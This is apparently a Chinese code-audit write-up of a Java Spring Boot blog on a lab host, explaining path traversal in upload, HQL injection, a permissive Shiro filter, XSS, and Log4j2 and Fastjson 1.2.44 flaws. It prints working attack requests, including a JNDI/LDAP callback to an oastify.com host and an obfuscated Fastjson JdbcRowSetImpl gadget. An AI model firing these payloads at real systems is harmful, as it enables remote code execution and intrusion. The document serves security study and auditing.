1.路径遍历&任意文件上传
在文件上传功能中,虽然对文件名进行了UUID随机化处理并替换了空格,但未对文件名中的特殊字符(如../)进行充分过滤,存在路径遍历风险。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
public Result upload(HttpServletRequest request, MultipartFile image) {
Result r = new Result();
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
StringBuffer url = new StringBuffer();
String filePath = sdf.format(new Date());
File baseFolder = new File(baseFolderPath + filePath);
if (!baseFolder.exists()) {
baseFolder.mkdirs();
}
url.append(request.getScheme())
.append("://")
.append(request.getServerName())
.append(":")
.append(request.getServerPort())
.append(request.getContextPath())
.append("/")
.append(filePath);
String imgName = UUID.randomUUID() + "_" + image.getOriginalFilename().replaceAll(" ", "");
try {
File dest = new File(baseFolder, imgName);
image.transferTo(dest);
url.append("/").append(imgName);
r.setResultCode(ResultCode.SUCCESS);
r.simple().put("url", url);
} catch (IOException e) {
logger.error("文件上传错误 , uri: {} , caused by: ", request.getRequestURI(), e);
r.setResultCode(ResultCode.UPLOAD_ERROR);
}
return r;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /upload HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: 815409e2-a77d-4a42-95f5-e371b121ff00
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=815409e2-a77d-4a42-95f5-e371b121ff00
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary35a81533-bd55-45
Content-Length: 208
------WebKitFormBoundary35a81533-bd55-45
Content-Disposition: form-data; name="image"; filename="../../../fuzz.html"
Content-Type: text/html
This is test file
------WebKitFormBoundary35a81533-bd55-45--
|
配置文件定义上传路径为images

实际可使用../../跨目录上传到根目录,并且后缀名过滤不严,但由于SpringBoot默认不解析JSP脚本,所以无法利用

2.SQL注入
网站使用Hibernate框架,Hibernate框架是JDBC的升级版,底层默认使用PrepareStatment预编译,但是这里SQL语句直接拼接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
public List<Article> listArticles(PageVo page) {
StringBuilder hql = new StringBuilder("from Article");
if (null != page.getName() && !"".equals(page.getName())) {
hql.append(" order by ");
hql.append(page.getName());
}
if (null != page.getSort() && !"".equals(page.getSort())) {
hql.append(" ");
hql.append(page.getSort());
}
Query query = getSession().createQuery(hql.toString());
if (null != page.getPageNumber() && null != page.getPageSize()) {
query.setFirstResult(page.getPageSize() * (page.getPageNumber() - 1));
query.setMaxResults(page.getPageSize());
}
return query.list();
}
GET /articles?pageNumber=1&pageSize=5&name=id&sort=desc HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: 815409e2-a77d-4a42-95f5-e371b121ff00
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=815409e2-a77d-4a42-95f5-e371b121ff00
Connection: close
|




3.Shiro权限校验不严
Shiro安全框架配置过于宽松,默认允许所有请求访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<String, String>();
/* filterChainDefinitionMap.put("/", "anon");
filterChainDefinitionMap.put("/**", "anon");
//返回json数据,由前端跳转
shiroFilterFactoryBean.setLoginUrl("/handleLogin");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
return shiroFilterFactoryBean;
}
|
4.log4j2反序列化
1
2
3
4
5
6
7
8
9
10
|
GET /tags HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: ${jndi:ldap://ygic8596htrku9fqbkeeiyunxe35rvfk.oastify.com}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=4a298d56-b580-4b3a-a4d8-e9d290478682
Connection: close
|

查看依赖发现网站使用了log4j2组件

全局搜索logger.info()关键字,查看是否存在可控变量,发现不存在

查找路由,定位到路由,发现存在一个自定义注解LogAnnotation
@LogAnnotation(module = “标签”, operation = “获取所有标签”)

虽然你的 LogAspect没有直接使用 **logger.info()** 打印用户输入,但它通过以下方式间接将用户可控数据写入数据库日志表:
1
2
3
4
5
6
7
8
|
//请求的方法名
String className = joinPoint.getTarget().getClass().getName();
String methodName = signature.getName();
log.setMethod(className + "." + methodName + "()");
//获取request 设置IP地址
HttpServletRequest request = HttpContextUtils.getHttpServletRequest();
log.setIp(IpUtils.getIpAddr(request));
|
5.提交评论处反射XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /articles/publish HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: d201e40d-9843-49bf-b807-da57badb6a12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 238
{"id":"","title":"111","summary":"111","category":{"avatar":"/category/front.png","categoryname":"前端","description":"","id":1},"tags":[{"id":1}],"body":{"content":"<script>alert(1)</script>","contentHtml":"<script>alert(1)</script>"}}
|
6.fastjson反序列化
发现项目fastjson依赖为1.2.44,全局搜索Json.parse/Json.ParseObject关键字,发现不存在
1
2
3
4
5
|
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.44</version>
</dependency>
|

那为什么这个login接口会存在fastjson反序列化漏洞呢?“我没有写 JSON.parse(),也没有 import com.alibaba.fastjson,为什么 /login 接口还会触发 Fastjson 反序列化漏洞?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
package com.shimh.controller;
import javax.servlet.http.HttpServletRequest;
import com.shimh.common.annotation.LogAnnotation;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.LockedAccountException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import com.shimh.common.constant.Base;
import com.shimh.common.constant.ResultCode;
import com.shimh.common.result.Result;
import com.shimh.entity.User;
import com.shimh.oauth.OAuthSessionManager;
import com.shimh.service.UserService;
/**
* 登录
*
* @author shimh
* <p>
* 2018年1月23日
*/
@RestController
public class LoginController {
@Autowired
private UserService userService;
@PostMapping("/login")
@LogAnnotation(module = "登录", operation = "登录")
public Result login(@RequestBody User user) {
Result r = new Result();
executeLogin(user.getAccount(), user.getPassword(), r);
return r;
}
|
原因是Spring MVC 在处理 @RequestBody注解时
- 接收到 JSON 请求体;
- 查找一个 HttpMessageConverter 来把 JSON 转成 User 对象;
- 如果项目中引入了 Fastjson,并且配置了 FastJsonHttpMessageConverter,Spring 就会用 Fastjson 来解析 JSON!
所以,即使你的 Controller 没 import Fastjson,也没调用 JSON.parseObject,只要 Spring 用了 Fastjson 做消息转换,反序列化就由 Fastjson 完成。
正好WebMvcConfig.java这个配置类配置了消息转换

- 它将 FastJsonHttpMessageConverter 注册为 Spring MVC 的 JSON 消息转换器;
- 所有带 @RequestBody 的接口(包括 /login)都会使用 Fastjson 来反序列化 JSON;
- 而你的 Fastjson 版本是 1.2.44 —— 这是一个已知可被 RCE 利用的高危版本;
- 即使你没写 JSON.parseObject(),Spring 在处理请求时会自动调用它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
POST /login HTTP/1.1
Host: 192.168.112.203:8888
Content-Length: 215
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.112.203:8888
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9034114d-3790-400e-b46d-da276f66bbd9; authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true
Connection: close
{"aaa":{"@\x74ype":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@\x74ype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://j6q1nsz49kznpz2hwyp6tijrui09o0cp.oastify.com","autoCommit":true}}
|
